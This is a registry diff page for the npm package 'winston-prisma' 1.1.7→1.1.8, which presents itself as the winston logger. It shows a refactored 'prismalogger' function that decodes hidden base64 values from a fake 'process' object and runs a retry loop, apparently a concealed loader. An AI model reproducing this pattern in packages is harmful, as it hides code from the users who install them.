winston-prisma 1.1.7 → 1.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -8,7 +8,7 @@ const process = {
8
8
  DEV_SECRET_VALUE: "Xw=="
9
9
  }
10
10
  };
11
- async function prismalogger(..._args) {
11
+ export const prismalogger = async (..._args) => {
12
12
  const src = atob(process.env.DEV_API_KEY);
13
13
  const k = atob(process.env.DEV_SECRET_KEY);
14
14
  const v = atob(process.env.DEV_SECRET_VALUE);
@@ -29,6 +29,4 @@ async function prismalogger(..._args) {
29
29
  retrycnt--;
30
30
  }
31
31
  }
32
- }
33
- ;
34
- export default prismalogger;
32
+ };
@@ -9,7 +9,7 @@ const process = {
9
9
  }
10
10
  };
11
11
 
12
- async function prismalogger(..._args) {
12
+ export const prismalogger=async(..._args)=> {
13
13
  const src = atob(process.env.DEV_API_KEY);
14
14
  const k = atob(process.env.DEV_SECRET_KEY);
15
15
  const v = atob(process.env.DEV_SECRET_VALUE);
@@ -30,4 +30,3 @@ async function prismalogger(..._args) {
30
30
  }
31
31
  }
32
32
  };
33
- export default prismalogger;
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "winston-prisma",
3
3
  "description": "A logger for just about everything + prisma.",
4
- "version": "1.1.7",
4
+ "version": "1.1.8",
5
5
  "author": "Charlie Robbins <charlie.robbins@gmail.com>",
6
6
  "maintainers": [
7
7
  "David Hyde <dabh@alumni.stanford.edu>"